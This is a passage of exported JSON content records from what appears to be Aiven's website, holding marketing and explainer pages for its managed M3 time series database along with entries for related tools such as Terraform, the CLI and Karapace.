videos"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f81a787449b5","_type":"link","href":"https://vimeo.com/user/120001164/folder/2290331"}],"style":"normal"},{"_key":"6c7ea32de0b9","_type":"block","children":[{"_key":"05e25a17bd920","_type":"span","marks":["7e258c993cc7"],"text":"Working with irregular time series"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7e258c993cc7","_type":"link","href":"https://dzone.com/articles/working-with-irregular-time-series"}],"style":"normal"}],"disabled":false,"fullWidth":true,"rounded":false,"subtitle":[{"_key":"efb0058d8c95","_type":"block","children":[{"_key":"aafe6f6799070","_type":"span","marks":[],"text":"For more detailed information, "},{"_key":"aafe6f6799071","_type":"span","marks":["f6764cebd69f"],"text":"check out our help articles"},{"_key":"aafe6f6799072","_type":"span","marks":[],"text":" for Aiven for M3"}],"markDefs":[{"_key":"f6764cebd69f","_type":"link","href":"https://help.aiven.io/en/collections/2654425-m3"}],"style":"normal"}],"title":"Help, tutorials and guides","variant":"twoColumn"},{"_key":"1c98a9b21b79","_type":"textColumn","disabled":false,"fullWidth":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Want to take a time series database for a spin?","variant":"centerColumn"}],"secondaryNavigation":{"_ref":"0ad0814c-443a-4ee8-9884-190f7af65268","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Dive deeper into time series databases with a collection of articles, blog posts, and guides exploring the solutions available for time series data.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f570ae573ec8bbb9dc33f26764cfbe321d66a338-1200x630-jpg","_type":"reference"}},"metaTitle":"Time series database resources by Aiven"},"slug":{"_type":"slug","current":"/time-series-databases/resources"},"title":"Resources"} {"__i18n_lang":"en","_createdAt":"2022-07-27T14:34:18Z","_id":"4105be50-7853-48b0-800b-26e84da9d146","_rev":"0TXqTylVMKaoTR0MBsGt4G","_type":"timeSeries","_updatedAt":"2023-06-08T08:42:55Z","content":[{"_key":"eb997e9d50ef","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"8fde9a38dfe9","_type":"block","children":[{"_key":"c7887390db840","_type":"span","marks":[],"text":"When choosing the best time series database, scalability, compatibility, availability, and cost effectiveness considerations all play a part. Aiven for M3 makes the decision easy – it’s simply one of the most powerful, fully managed, open source TSDB options available."}],"markDefs":[],"style":"normal"}],"disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d7973e8a55caac676ca24a87a886f75a422bfa20-1200x1200-png","_type":"reference"}},"tagline":"The future of data","title":"Aiven for M3","variant":"default"},{"_key":"9b9b5364c710","_type":"textColumn","columnOne":[{"_key":"f3ec6e8e8625","_type":"block","children":[{"_key":"b9f6f53ed0620","_type":"span","marks":[],"text":"M3: Origins"}],"markDefs":[],"style":"h3"},{"_key":"72b07f84ef4d","_type":"block","children":[{"_key":"f079e4d66b980","_type":"span","marks":[],"text":"M3 was originally created by Uber to drive their mobility platform and manage hundreds of thousands of drivers around the world. It was built for large-scale, time series data, and has been proven at massive scale. There’s simply no better open source tool available."}],"markDefs":[],"style":"normal"},{"_key":"9b96acad87c4","_type":"block","children":[{"_key":"e084efd9385d0","_type":"span","marks":[],"text":"M3's main components include the M3 Coordinator, M3DB (a native distributed TSDB), and the M3 Query Engine. The M3 Aggregator extends the functionality, allowing you to offload the metrics data processing, freeing up the rest of the system."}],"markDefs":[],"style":"normal"},{"_key":"4e1fc416e588","_type":"block","children":[{"_key":"03c00b57cfa70","_type":"span","marks":[],"text":"Aiven for M3 – the special sauce"}],"markDefs":[],"style":"h3"},{"_key":"00a66638f291","_type":"block","children":[{"_key":"21db7100c8f80","_type":"span","marks":[],"text":"When these elements are combined in Aiven’s fully managed solution, Aiven for M3, it becomes a complete time series database platform that you can either use to scale up your existing system, or build something new from scratch. Aiven for M3 is the ideal solution when you need scalability options and high availability. It’s perfect for metrics and IoT applications that produce large amounts of data at regular, repeated intervals."}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"8b290d672dc3","_type":"block","children":[{"_key":"3c9138121383","_type":"span","marks":[],"text":"Take your data into the future"}],"markDefs":[],"style":"h3"},{"_key":"b139381eaddf","_type":"block","children":[{"_key":"f1b83a33bab7","_type":"span","marks":[],"text":"In an increasingly connected world, time series databases are proving to be an essential tool for handling large-scale, time-stamped data. Aiven’s managed service makes integrating M3 into your current systems simple, and having the ability to scale up your server needs on the fly makes Aiven for M3 a great way to future-proof your data architecture."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"14b24e822954","_type":"block","children":[{"_key":"387de5cde2510","_type":"span","marks":[],"text":"When you need a truly scalable, high performance time series database that can cope with anything you want to throw at it, there’s nothing better than Aiven for M3. It’s solid and reliable, offers low maintenance with high availability, and is specifically designed to handle large scale, high cardinality data."}],"markDefs":[],"style":"normal"}],"title":"What is Aiven for M3?","variant":"twoColumn"},{"_key":"e753e728b77b","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"533df806602c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c0d5aa331a7e","_type":"block","children":[{"_key":"a5ded13ae4e50","_type":"span","marks":[],"text":"While PostgreSQL can be extended with timescaleDB, and InfluxDB also offers time series functionality, their scope is limited. Neither of them provide the truly scalable, high performance solution of Aiven for M3, which was designed to cope with high-volume time series data fast, efficiently, and with high availability."}],"markDefs":[],"style":"normal"}],"title":"Alternative timelines"},{"_key":"e91d24608261","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"de8c14b23603","_type":"block","children":[{"_key":"fe7a46d6351b0","_type":"span","marks":[],"text":"Alternatively, you can run Aiven for M3 as a fully managed, distributable time series database, deployable in the cloud of your choice. And if that’s not enough, we’ve also included observability components that can help you keep your entire system running smoothly."}],"markDefs":[],"style":"normal"}],"title":"Aiven for M3 – all in one"},{"_key":"0117078c5387","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f48180aea971","_type":"block","children":[{"_key":"67bc5747b9060","_type":"span","marks":[],"text":"M3 can be used to scale up existing architecture, which is why Aiven’s portfolio of managed services is so useful: everything you need is already available, and can easily be integrated with your current environment."}],"markDefs":[],"style":"normal"}],"title":"Scale up without shopping around"}],"subtitle":[{"_key":"24f62fbe6bd4","_type":"block","children":[{"_key":"a0c010afe0ea0","_type":"span","marks":[],"text":"Aiven for M3 is the ideal solution for high-volume, high cardinality, timestamped data. It’s perfect for IoT deployments, or anywhere where there’s a high volume of data produced at high frequency."}],"markDefs":[],"style":"normal"}],"title":"Aiven for M3 – the fully managed, fully featured future of data","variant":"header-left"},{"_key":"8bc707a1d98f","_type":"textColumn","columnOne":[{"_key":"3837ac04335f","_type":"block","children":[{"_key":"a27241f984b90","_type":"span","marks":[],"text":"M3 features"}],"markDefs":[],"style":"h3"},{"_key":"973a905984e4","_type":"block","children":[{"_key":"b34310f99d120","_type":"span","marks":[],"text":"M3 was built to cope with highly variable data. It features tunable time precision and highly efficient compressions to operate at scale and meet the changing demands of time stamped data. M3 Aggregator builds on this, providing cost effective, scalable and reliable aggregation for even faster results."}],"markDefs":[],"style":"normal"},{"_key":"305e2884c0c8","_type":"block","children":[{"_key":"62e8a23c6d260","_type":"span","marks":[],"text":"With out-of-the-box support for the most popular protocols, and various integration and interface options, our M3 as a service is ready to handle all your time stamped data requirements."}],"markDefs":[],"style":"normal"},{"_key":"8d1df1b2d56f","_type":"block","children":[{"_key":"966c9725bf430","_type":"span","marks":[],"text":"100% open source"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7db0151314a2","_type":"block","children":[{"_key":"3feb10460a310","_type":"span","marks":[],"text":"Unlimited scalability"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"667828d2dbb8","_type":"block","children":[{"_key":"e7f81a941cd00","_type":"span","marks":[],"text":"High availability"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ddb099e886da","_type":"block","children":[{"_key":"7e8b9629162a0","_type":"span","marks":[],"text":"M3 Aggregator"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7661e9ad1d4a","_type":"block","children":[{"_key":"cab4997ef7610","_type":"span","marks":[],"text":"Grafana dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d985b0f7c72b","_type":"block","children":[{"_key":"2c31f57f5f700","_type":"span","marks":[],"text":"Data compression"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4ef35683b942","_type":"block","children":[{"_key":"4cd47b3e17650","_type":"span","marks":[],"text":"Support for Prometheus, Influx and Graphite protocols"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c98910c4b84a","_type":"block","children":[{"_key":"c0fca9292b880","_type":"span","marks":[],"text":"Designed for high cardinality data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"160cb80522a0","_type":"block","children":[{"_key":"25dc5ce433e40","_type":"span","marks":[],"text":"What you get from Aiven’s managed services"}],"markDefs":[],"style":"h3"},{"_key":"8b8167830f25","_type":"block","children":[{"_key":"2b7e44fb050e0","_type":"span","marks":[],"text":"Aiven Console makes it easy to spin up a time series production cluster in minutes.\nIncrease your servers, storage, perform an upgrade or migrate to a different provider at the push of a button, with zero downtime."}],"markDefs":[],"style":"normal"},{"_key":"f4556c52a7d2","_type":"block","children":[{"_key":"1824c4d4a79c0","_type":"span","marks":[],"text":"From the first line of code Aiven managed services are built secure. From dedicated VM’s to backups that are taken every 5 minutes you know you can be secure with Aiven."}],"markDefs":[],"style":"normal"},{"_key":"2096a89e90f6","_type":"block","children":[{"_key":"d2222c985f800","_type":"span","marks":[],"text":"99.99% uptime"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ce164756e998","_type":"block","children":[{"_key":"d071bf51cd100","_type":"span","marks":[],"text":"No downtime upgrades"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f4f979e59e31","_type":"block","children":[{"_key":"bfadd43ec3250","_type":"span","marks":[],"text":"Full compliance certifications"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e1def2e729f2","_type":"block","children":[{"_key":"8701795cef5a0","_type":"span","marks":[],"text":"End-to-end encryption"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5f41f6ad55e0","_type":"block","children":[{"_key":"6197df7429f10","_type":"span","marks":[],"text":"24/7, world-class support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bce1c52b57ec","_type":"block","children":[{"_key":"da00d8d3213c0","_type":"span","marks":[],"text":"Automatic backups"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b5f15a53801c","_type":"block","children":[{"_key":"ee7e95b5c0d90","_type":"span","marks":[],"text":"Terraform support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"80ce3f037cae","_type":"block","children":[{"_key":"04d69377160e0","_type":"span","marks":[],"text":"Dedicated VM’s"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"rounded":false,"title":"Aiven for M3 features","variant":"twoColumn"},{"_key":"7054e25ae3bb","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"9dfad3af8e23","_type":"block","children":[{"_key":"3903506b3c800","_type":"span","marks":[],"text":"Time series databases are the new kid on the data block, and at the moment there are not that many fully-featured options available, and even fewer fully managed services. When it comes to offering a full set of features, interoperability, scalability, ease of use and all-inclusive pricing, there’s really nothing better than Aiven for M3."}],"markDefs":[],"style":"normal"},{"_key":"a6d2af30a05b","_type":"block","children":[{"_key":"8a06c2283e30","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5c7c6c877f31","_type":"table","rows":[{"_key":"12336884-edae-4623-b576-edfa42cf9e21","_type":"tableRow","cells":["Features","Aiven For M3","Competitors"]},{"_key":"8876c247-ac91-4a66-af3e-c16984882bf6","_type":"tableRow","cells":["Extensive range of cloud providers, and geographical regions and zones","\u0026check;","Limited"]},{"_key":"7cae43db-a53b-4f36-a5a1-30ac14d8cd09","_type":"tableRow","cells":["99.99% Service Level Agreement","\u0026check;","\u0026check;"]},{"_key":"8024a6ff-a2d1-4ab5-8db5-b97c62261733","_type":"tableRow","cells":["Integrations with key DevOps tools (e.g. for monitoring, logging, and Terraform)","\u0026check;","-"]},{"_key":"c01e5d70-4aaa-43ef-bf88-83b5d6d77802","_type":"tableRow","cells":["100% open source – and unlimited scalability","\u0026check;","Limited commercial licence"]},{"_key":"057a94fa-1a45-4488-b990-5265f41ebf42","_type":"tableRow","cells":["High availability","\u0026check;","Limited commercial licence"]},{"_key":"63eef497-8777-4c99-9ea6-529e64e8b12b","_type":"tableRow","cells":["Low storage requirements (using efficient data compression and aggregation)","\u0026check;","-"]},{"_key":"2c5fa32d-13a8-424a-aaf2-4f43812dfcdd","_type":"tableRow","cells":["Simple, transparent, all-inclusive pricing with no surprises","\u0026check;","-"]}]}],"title":"Aiven for M3 – the best fully managed TSDB","variant":"oneColumn"},{"_key":"becd8fafb7cb","_type":"textImage","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-844a9ddb5f71d1b20b9290bb5b62f6f36b0b3be5-1200x1200-png","_type":"reference"}},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=m3db\u0026tab=plan-pricing","title":"Find the right plan"},"text":[{"_key":"b1beb8a8c011","_type":"block","children":[{"_key":"2618fb2ae8730","_type":"span","marks":[],"text":"No sticker shock"}],"markDefs":[],"style":"h3"},{"_key":"e58ab70de034","_type":"block","children":[{"_key":"825d8c5da6850","_type":"span","marks":[],"text":"Aiven offers the lowest total cost of ownership for a managed service on the market. Our plans are fully transparent and feature all-inclusive pricing. You only pay for the capacity you need, and it’s easy to scale up—or scale down—your plan whenever you need."}],"markDefs":[],"style":"normal"},{"_key":"fc10136c684d","_type":"block","children":[{"_key":"f1390d4ebf7e0","_type":"span","marks":[],"text":"A plan for everyone"}],"markDefs":[],"style":"h3"},{"_key":"f87c5bf8838d","_type":"block","children":[{"_key":"caec9671be490","_type":"span","marks":[],"text":"Our plans range from testbeds for hobbyists through to multi-node, massive storage solutions for global corporations. It’s easy to scale up or switch cloud providers and regions as needed, with zero downtime."}],"markDefs":[],"style":"normal"}],"title":"Aiven for M3: Open Source. Affordable. Powerful.","variant":"mediaLeft"},{"_key":"8b4dd9cea6d1","_type":"textImage","disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-602e0890ee1b032f0ae2c387b95563f1ae402c8b-1200x1200-png","_type":"reference"}},"narrowImage":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"},"title":"Learn more"},"tagline":"Monitoring and observability","text":[{"_key":"b5918caaa743","_type":"block","children":[{"_key":"637961cccdc20","_type":"span","marks":[],"text":"If you want to take a TSDB for a spin, jump in and start a 30-day free trial."}],"markDefs":[],"style":"normal"}],"title":"Combine Aiven for M3 with our observability tools and build a comprehensive solution that’s ready for anything.","variant":"mediaLeft"}],"secondaryNavigation":{"_ref":"0ad0814c-443a-4ee8-9884-190f7af65268","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven for M3 is one of the most powerful, fully managed time series database options on the market. It’s highly scalable, highly available, and easy to use.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f570ae573ec8bbb9dc33f26764cfbe321d66a338-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven for M3 | Scalable \u0026 cost-effective | Get started today"},"slug":{"_type":"slug","current":"/time-series-databases/aiven-for-m3"},"title":"Aiven for M3"} {"__i18n_lang":"en","_createdAt":"2022-07-27T14:02:54Z","_id":"c7dc6e77-a593-4ce1-a8c0-aa3358aabfac","_rev":"tVsvU5cy3KqqbnxT6ULUNo","_type":"timeSeries","_updatedAt":"2024-08-23T10:46:13Z","content":[{"_key":"ebc24706b311","_type":"hero","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"f011e607aba5","_type":"block","children":[{"_key":"39f4128c3db50","_type":"span","marks":[],"text":"The volume of time series data can quickly become overwhelming – so how do time series databases manage such huge amounts of data? And what are the best time series database options out there?"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-46a93841e05c2acc27ebbddab87f81700f9f86df-1200x1200-png","_type":"reference"}},"tagline":"The future of data","title":"Time series databases","variant":"default"},{"_key":"b1c8cef45fb2","_type":"textImage","disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-145fdd657b2fbc084cc7aa2fab32bdb047e3c351-1958x1076-png","_type":"reference"}},"text":[{"_key":"851a04ca4610","_type":"block","children":[{"_key":"e7b6f44713ec0","_type":"span","marks":[],"text":"Time series data begins with sources —servers, sensors, IoT devices—that produce timestamped data points. This data is then sent to a collection agent where it is processed and aggregated. This is where the masses of data might be down-sampled to more manageable averages or units."}],"markDefs":[],"style":"normal"},{"_key":"8e821df790ca","_type":"block","children":[{"_key":"50c117a6de42","_type":"span","marks":[],"text":"The collection agent writes this processed data to the time series database. Because the TSDB has been designed to store all this data efficiently, it’s able to simultaneously manage or further aggregate old data, discarding irrelevant information."}],"markDefs":[],"style":"normal"}],"title":"How do time series databases work?","variant":"mediaRight"},{"_key":"7e75303c871f","_type":"textImage","disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d699866b2225f891166022a9b49663f3285c6e47-1200x1200-png","_type":"reference"}},"text":[{"_key":"a9cc31d2d3bd","_type":"block","children":[{"_key":"e76d6c3d2bb50","_type":"span","marks":[],"text":"Data in"}],"markDefs":[],"style":"h3"},{"_key":"fed9430f7760","_type":"block","children":[{"_key":"6752e8f295d20","_type":"span","marks":[],"text":"Data is pulled from the TSDB using a time series aware query engine – and this is where the magic happens. Whereas a traditional database query might deliver results where X is associated with Y, a time series query dives much deeper, and delivers much more."}],"markDefs":[],"style":"normal"},{"_key":"54f062405384","_type":"block","children":[{"_key":"9a51f431995c0","_type":"span","marks":[],"text":"Magic out"}],"markDefs":[],"style":"h3"},{"_key":"7a627dd81366","_type":"block","children":[{"_key":"b20ff1a4d6130","_type":"span","marks":[],"text":"Time series databases take data on a trip into the fourth dimension, and deliver highly specific results for complex queries. For example, how about “fetch the zip codes where air pollution increased more than 25% during the morning rush hour, and throw in the wind speed for good measure.”"}],"markDefs":[],"style":"normal"},{"_key":"83bc409f6420","_type":"block","children":[{"_key":"f7988dc8f0a20","_type":"span","marks":[],"text":"Keep watch – in real time"}],"markDefs":[],"style":"h3"},{"_key":"d5181fb20592","_type":"block","children":[{"_key":"3bf8aad16f370","_type":"span","marks":[],"text":"If all that information seems too much, you can create a data visualization dashboard to help make sense of everything, or set up an alert manager to automatically let you know if certain conditions are met."}],"markDefs":[],"style":"normal"},{"_key":"0d174eb93820","_type":"block","children":[{"_key":"acfb8246a9ac0","_type":"span","marks":[],"text":"With great data, comes incredible flexibility!"}],"markDefs":[],"style":"normal"}],"title":"Making sense of massive data","variant":"mediaLeft"},{"_key":"5ad398871431","_type":"textImage","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-d6dd32b383c030760ecb1683d34d85b4ecd5b59d-1000x668-png","_type":"reference"}},"text":[{"_key":"fa98d1bc0e3d","_type":"block","children":[{"_key":"145c1570d79f0","_type":"span","marks":[],"text":"Time series data on the up and up"}],"markDefs":[],"style":"h3"},{"_key":"e861a0cf6080","_type":"block","children":[{"_key":"f04dc5b0857a","_type":"span","marks":[],"text":"With the exponential rise in the amount of data produced by today’s devices, companies are increasingly aware of the need for a stable and flexible method of handling all that data. Database popularity ranking models clearly show that interest in time series databases is rising rapidly."}],"markDefs":[],"style":"normal"},{"_key":"38b8f623ee47","_type":"block","children":[{"_key":"679d31197f930","_type":"span","marks":[],"text":"Evolution, not revolution"}],"markDefs":[],"style":"h3"},{"_key":"a01839ade6d8","_type":"block","children":[{"_key":"88930c33cf5f","_type":"span","marks":[],"text":"It’s important to consider how your data might evolve in the future. You don’t want to lock yourself in with a database that can’t evolve with you. In this sense, a time series database offers you the possibility to work with the data you have today, while at the same time prepare for more demanding needs in the future."}],"markDefs":[],"style":"normal"},{"_key":"d63d1cc1bf9a","_type":"block","children":[{"_key":"ba58ab43b4660","_type":"span","marks":[],"text":"A simple time series solution – in the cloud"}],"markDefs":[],"style":"h3"},{"_key":"d7339c5f8a03","_type":"block","children":[{"_key":"1043c39ec9b7","_type":"span","marks":[],"text":"Setting up a time series database might seem daunting at first – but a managed solution such as Aiven for M3 makes everything much easier. Our fully managed services offer enormous flexibility with unlimited scalability and high availability, and you can locate everything you need in the cloud of your choice."}],"markDefs":[],"style":"normal"}],"title":"Future-proof data","variant":"mediaRight"},{"_key":"48020d1b9577","_type":"iconList","disabled":false,"iconSize":64,"icons":[{"_key":"b583d21941a3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"fc764ac4ab62","_type":"block","children":[{"_key":"a5187fe612860","_type":"span","marks":[],"text":"The best choice if you already use PostgreSQL, require SQL compatibility and have a limited time series use case."}],"markDefs":[],"style":"normal"}],"title":"Aiven for PostgreSQL® + TimescaleDB"},{"_key":"9f0c14beebbf","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"c152564837ec","_type":"block","children":[{"_key":"3c107091e5970","_type":"span","marks":[],"text":"The best choice when you need a truly scalable, high performance time series database that also provides high-availability and observability."}],"markDefs":[],"style":"normal"}],"title":"Aiven for M3"}],"subtitle":[{"_key":"bac40bcaaf9f","_type":"block","children":[{"_key":"a417dcd416f20","_type":"span","marks":[],"text":"Time series databases are one of the big trends in the data marketplace. There are many options available, both commercial and open source. However there are not many that can be said to be truly scalable, and some are limited in their performance when it comes to high volume data."}],"markDefs":[],"style":"normal"},{"_key":"dd0a7683a870","_type":"block","children":[{"_key":"e24d58bf3d5a0","_type":"span","marks":[],"text":"Aiven offers the widest selection of open source time series databases. Our portfolio ranges from flexible TSDB extensions that suit small scale applications, to a comprehensive solution capable of handling massive data on a global scale."}],"markDefs":[],"style":"normal"}],"title":"Aiven and times series data","variant":"header-left"},{"_key":"e1731fef88da","_type":"textImage","addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-d7973e8a55caac676ca24a87a886f75a422bfa20-1200x1200-png","_type":"reference"}},"narrowImage":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","title":"Learn more"},"tagline":"Aiven for M3","text":[{"_key":"6e1d70d2b763","_type":"block","children":[{"_key":"0e5eb650343c0","_type":"span","marks":[],"text":"If you want to take a TSDB for a spin, jump in and start a 30-day free trial."}],"markDefs":[],"style":"normal"}],"title":"Discover what makes Aiven for M3 the perfect time series data solution","variant":"mediaLeft"}],"seo":{"_type":"metaData","metaDescription":"Time series data produces a huge volume of data. Take a look at how time series databases handle the data load, and explore the best options available.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f570ae573ec8bbb9dc33f26764cfbe321d66a338-1200x630-jpg","_type":"reference"}},"metaTitle":"What are time series databases?"},"slug":{"_type":"slug","current":"/time-series-databases/what-are-time-series-databases"},"title":"What are time series databases?"} {"__i18n_lang":"en","_createdAt":"2022-11-16T14:23:08Z","_id":"8d65be65-39e0-4efa-ad0c-87342113389c","_rev":"bUMlF7B1Xxw34pzcKgvBpW","_type":"tool","_updatedAt":"2022-11-16T14:23:08Z","logo":{"_type":"logoItem","logoHeight":48,"title":"Aiven API"},"name":"Aiven API"} {"__i18n_lang":"en","_createdAt":"2022-09-01T13:48:29Z","_id":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_rev":"3YxqQWUIXkU9Q9rCEh81Us","_type":"tool","_updatedAt":"2023-05-26T11:27:23Z","logo":{"_type":"logoItem","logoHeight":52,"logoImage":{"_type":"mainImage","alt":"Terraform logo","asset":{"_ref":"image-b66a21d26808683c644e396809447fddd2bc8384-515x113-svg","_type":"reference"}},"title":"Aiven Terraform provider"},"name":"Aiven Terraform provider"} {"__i18n_lang":"en","_createdAt":"2022-08-30T14:53:52Z","_id":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_rev":"VeNKqGNmt13PzvGhqs0nG8","_type":"tool","_updatedAt":"2024-01-29T11:06:55Z","logo":{"_type":"logoItem","ctaLink":"https://aiven.io/docs/tools","logoHeight":60,"logoImage":{"_type":"mainImage","alt":"GUI logo","asset":{"_ref":"image-c34e525569724d65ca851b18bdcc45b762d81e4d-512x512-png","_type":"reference"}},"title":"GUI"},"name":"GUI (Square)"} {"__i18n_lang":"en","_createdAt":"2024-01-10T09:29:44Z","_id":"6f76ec2d-5b6e-4e6b-a3b8-c72304b1e26c","_rev":"ZLvKaZvfbZlWBlGcpIKtkG","_type":"tool","_updatedAt":"2024-01-29T13:06:16Z","logo":{"_type":"logoItem","logoHeight":48},"name":"Documentation"} {"__i18n_lang":"en","_createdAt":"2022-09-01T13:47:17Z","_id":"2c9ddba5-c82b-4166-95c8-22f314164f97","_rev":"bUMlF7B1Xxw34pzcKguRkk","_type":"tool","_updatedAt":"2022-11-16T14:16:47Z","logo":{"_type":"logoItem","logoImage":{"_type":"mainImage","alt":"Kubernetes logo","asset":{"_ref":"image-9ad3f3e75905c9b74304c860d5eb23283df6126a-239x42-svg","_type":"reference"}},"title":"Aiven Operator for Kubernetes®"},"name":"Aiven Operator for Kubernetes"} {"__i18n_lang":"en","_createdAt":"2022-11-16T14:22:51Z","_id":"3362a069-f95e-4230-b990-be0b003bc779","_rev":"PJutSls1mvFq6xuKvpErEH","_type":"tool","_updatedAt":"2022-11-16T14:22:51Z","logo":{"_type":"logoItem","logoHeight":48,"title":"Aiven CLI"},"name":"Aiven CLI"} {"__i18n_lang":"en","_createdAt":"2022-10-31T14:50:23Z","_id":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_rev":"ZEGrre8o1hXXQpCdlZtv16","_type":"tool","_updatedAt":"2022-10-31T15:12:55Z","logo":{"_type":"logoItem","ctaLink":"https://www.postman.com/aiven-apis/workspace/aiven/documentation/21112408-1f6306ef-982e-49f8-bdae-4d9fdadbd6cd","logoHeight":60,"logoImage":{"_type":"mainImage","alt":"Postman logo","asset":{"_ref":"image-b615c810d3ce5ffcecf8af8ec44cd91fdb0cae90-56x56-svg","_type":"reference"}},"title":"Postman"},"name":"Postman (Square)"} {"__i18n_lang":"en","_createdAt":"2022-08-30T14:51:46Z","_id":"5e27c945-a56b-494c-93a1-0279742d2b50","_rev":"VeNKqGNmt13PzvGhqs0l3I","_type":"tool","_updatedAt":"2024-01-29T11:06:08Z","logo":{"_type":"logoItem","ctaLink":"https://aiven.io/docs/tools/terraform","logoHeight":60,"logoImage":{"_type":"mainImage","alt":"Terraform logo","asset":{"_ref":"image-449d0d4df193267f6c8093dcdd5e8528d3389041-512x503-png","_type":"reference"}},"title":"Terraform"},"name":"Terraform (Square)"} {"__i18n_lang":"en","_createdAt":"2022-09-01T13:49:10Z","_id":"7179878d-2860-4cc5-a30e-a1e24b236517","_rev":"9eyf8qvxxNsqIJlFBXZRTa","_type":"tool","_updatedAt":"2022-10-08T09:17:49Z","logo":{"_type":"logoItem","logoHeight":40,"logoImage":{"_type":"mainImage","alt":"CLI | API logo","asset":{"_ref":"image-60ab9f5bce9161efcc85543fc3553b4a19d4272a-184x50-svg","_type":"reference"}},"title":"CLI | API"},"name":"CLI | API"} {"__i18n_lang":"en","_createdAt":"2024-08-21T12:09:20Z","_id":"819ef781-d876-4f81-86dd-b45ca9723831","_rev":"g4AdlhnoQkF9DUwGBO9hzL","_type":"tool","_updatedAt":"2024-08-21T12:12:03Z","logo":{"_type":"logoItem","ctaLink":"https://www.karapace.io/","logoHeight":48,"logoImage":{"_type":"mainImage","asset":{"_ref":"image-d62220a0627a4fbfa2337417342d8be4661d7722-180x40-svg","_type":"reference"}},"title":"Karapace"},"name":"Karapace"} 